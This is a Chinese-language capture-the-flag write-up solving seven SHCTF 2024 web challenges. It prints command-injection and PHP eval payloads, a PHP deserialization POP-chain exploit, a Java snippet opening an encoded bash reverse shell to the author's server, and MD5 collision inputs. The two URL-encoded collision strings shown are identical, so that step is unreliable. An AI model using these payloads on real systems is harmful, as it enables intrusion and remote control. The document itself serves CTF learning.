跳转至

[SHCTF 2024]Web week1 合集

题目地址:https://ctf.qlu.edu.cn/games/1/challenges

1zflask

打开环境是 404 页面,不要在意,根据提示我们访问 /robots.txt ,发现 /s3recttt ,于是我们阅读下载下来的代码,发现访问 /api 路由就可以直接命令执行。最终 payload:

/api?SSHCTFF=cat /flag

单身十八年的手速

手点击 250 下即可获得 flag。但是我们要干一点 ctf 该干的事情;

我们检查这个按钮,在右侧“事件侦听器”面板找到他的点击事件,是一个叫做 addTimes 的函数。所以我们在控制台里面循环 520 次即可:

for (var i =0; i<520;i++) {
    addTimes();
}

最后弹窗给出了一个 base64 编码的 flag, 解码就行。

蛐蛐?蛐蛐!

打开环境要求发送请求,我们点击按钮之后跳转到另一个页面发生错误,并且有一个 get 请求 ?ququ=114514 。在确定是爆破之前先不要动,我们查看首页的源代码,发现提示源码为 source.txt ,直接访问,得到一个 php 代码。

审计代码,发现要求传入的参数 ququ 有一定要求。首先是 get 的 ququ 参数,要求正着是 114514 ,反过来不能是 415411 ,而且两个都是弱类型比较。所以我们只需要在最后添加字母就行了,这样正着看会被忽略,反过来看所有的数字都被忽略被认为是 0 。

get: ?ququ=114514g

然后就是 post 参数 ququ ,要求前 6 位是 ququk1,满足这个条件才会被 eval 执行。所以我们直接在前六位之后加个分号就行。 最终 payload:

get: ?ququ=114514g
post:
ququ=ququk1;system('cat /flag');

这主要还是因为 eval 函数在执行时,第一条命令执行失败并不会影响第二条。

ez_gittt

打开题目查看源代码,翻到最下面提示把数据存到 git。我们直接访问 /.git ,发现有很多文件。但是下载比较麻烦,我们需要使用一些工具。网络上提供软件 githack 这个软件,但是直接找到的 lijiejie 的 githack 不是太好用,不能查看历史文件。所以我们需要下载 bugscanteam 的, 地址为 https://github.com/BugScanTeam/GitHack.

首先我们需要准备好 python2 环境。然后运行

python2 ./GitHack.py http://entry.shc.tf:8000/.git/

这样就会下载到本地一个仓库。然后我们通过如下命令查看历史文件。

git log # 查看历史提交,找到有一个描述为 Add_flag
git diff 369f # 直接查看那个版本的代码区别
# 或者使用下面的命令
git checkout 369f # 直接切换到那个版本

然后直接查看出来的结果就行。

jvav

题目要求传一个 java 文件拿来执行。我们可以使用 Runtime.getRuntime().exec("cat /flag"); 直接执行命令。至于回显,我们需要额外编写。这里我为了省事我直接反弹 shell 了。

import java.io.IOException;

public class demo {
    public static void main(String[] args) throws IOException {
        Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC93d3cuc3hyaGhoLnRvcC8yMzMzIDA+JjE=}|{base64,-d}|bash");
    }
}

然后在自己的 vps 上监听就可以了。

nc -lvvp 2333

poppopop

这是一个 php 反序列化的题目。我们复制所有代码,删除所有函数,然后开始填写代码。我首先给出全部 exp 然后再解析:

exp.php
<?php
class SH {

    public static $Web = true;
    public static $SHCTF = true;
}
class C {
    public $p;

    public function __construct() {
        $this->p = new SHCTF();
    }
}
class T{

    public $n;

    public function __construct() {
        $this->n = new F(); 
    }

}
class F {
    public $o;

    public function __construct() {
        $this->o = new C();
    }
}
class SHCTF {
    public $isyou = "system";
    public $flag = "cat /flllag";
}


echo base64_encode(serialize(new T()));

我们首先需要找到 pop 的起点,一般就是 __destruct 函数。他就是类 T。然后他会把他的属性 n 给 echo 出来。这个属性 n 会被当做字符串处理,而我们看到类 F ,正好就有 __toString() 方法。这样,我们把 n 赋值为 F 类的对象,就会调用 __toString() 方法。

然后,F 会调用属性 oflag() 方法,这个正好是 C 类的方法,所以把 o 赋值为 C 类的对象。

然后 C 会把属性 p 当做函数运行,所以我们看到 SHCTF 类,正好就有 __invoke() 方法。所以把 p 赋值为 SHCTF 类对象。

最后,就是把 $isyou$flag 赋值为我们想要的函数名和函数参数就行了。

最终 payload:

get: 
?data=TzoxOiJUIjoxOntzOjE6Im4iO086MToiRiI6MTp7czoxOiJvIjtPOjE6IkMiOjE6e3M6MToicCI7Tzo1OiJTSENURiI6Mjp7czo1OiJpc3lvdSI7czo2OiJzeXN0ZW0iO3M6NDoiZmxhZyI7czoxMToiY2F0IC9mbGxsYWciO319fX0=

MD5 Master

有点可惜,我做出这道题的时间正好是周三的 8:30,当天早上 7 点开始做的,没做出来,被迫早八背着电脑课上做,已经来不及了。

这道题是传入两个参数 master1master2 。要求两个参数在与 $master 变量拼接之后,严格不相等,但是两者的 md5 值严格相等。刚开始想着绕过,但是如果是数组拼接,会被拼接成 MD5 master!Array 直接成为了 Array 这样的字符串。这样最终两者本身也就严格相等了。所以只能爆破。

然后我就又想起来了 fastcoll 这个软件。去年这个时候我第一次认识这个软件的时候,我并没有成功跑起来。但是这次我跑起来了,这个软件就是在特定前缀下,碰撞 md5 的。所以非常符合题意。

爆破了不长时间,就获得了两个结果:

4d4435206d6173746572210000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ff228acd9f9d8cdeeaf13865c7669d25365dfae5e2185b4d1af280414f30a4dbf8d4f9de60113aedeb09e723840dc34111f9562eb33445f13100297d949ee12aab1f71397fc2ed0285a69d039449df8c577b89a593e8e8ec2abd6fa6cfeab9ae313037a3788eac86ea19113a820c2ddde4e408bddad813c49156ebecb5fe0dad

4d4435206d6173746572210000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ff228acd9f9d8cdeeaf13865c7669d25365dfa65e2185b4d1af280414f30a4dbf8d4f9de60113aedeb09e723848dc34111f9562eb33445f1310029fd949ee12aab1f71397fc2ed0285a69d039449df8c577b892593e8e8ec2abd6fa6cfeab9ae313037a3788eac86ea19113a828c2cdde4e408bddad813c49156eb6cb5fe0dad

然后我们把它处理成 urlencode 的模式,然后去掉前面的 MD5 master!

%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%ff%22%8a%cd%9f%9d%8c%de%ea%f1%38%65%c7%66%9d%25%36%5d%fa%65%e2%18%5b%4d%1a%f2%80%41%4f%30%a4%db%f8%d4%f9%de%60%11%3a%ed%eb%09%e7%23%84%8d%c3%41%11%f9%56%2e%b3%34%45%f1%31%00%29%fd%94%9e%e1%2a%ab%1f%71%39%7f%c2%ed%02%85%a6%9d%03%94%49%df%8c%57%7b%89%25%93%e8%e8%ec%2a%bd%6f%a6%cf%ea%b9%ae%31%30%37%a3%78%8e%ac%86%ea%19%11%3a%82%8c%2c%dd%e4%e4%08%bd%da%d8%13%c4%91%56%eb%6c%b5%fe%0d%ad

%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%ff%22%8a%cd%9f%9d%8c%de%ea%f1%38%65%c7%66%9d%25%36%5d%fa%65%e2%18%5b%4d%1a%f2%80%41%4f%30%a4%db%f8%d4%f9%de%60%11%3a%ed%eb%09%e7%23%84%8d%c3%41%11%f9%56%2e%b3%34%45%f1%31%00%29%fd%94%9e%e1%2a%ab%1f%71%39%7f%c2%ed%02%85%a6%9d%03%94%49%df%8c%57%7b%89%25%93%e8%e8%ec%2a%bd%6f%a6%cf%ea%b9%ae%31%30%37%a3%78%8e%ac%86%ea%19%11%3a%82%8c%2c%dd%e4%e4%08%bd%da%d8%13%c4%91%56%eb%6c%b5%fe%0d%ad

然后由于其中存在 %ff 这个字符,hackbar 无法传递参数,所以我们只能使用 burpsuite 这个软件来发包。

最终 payload 把上面两行数值直接赋值给 master1master2 就行了。


文章热度:0次阅读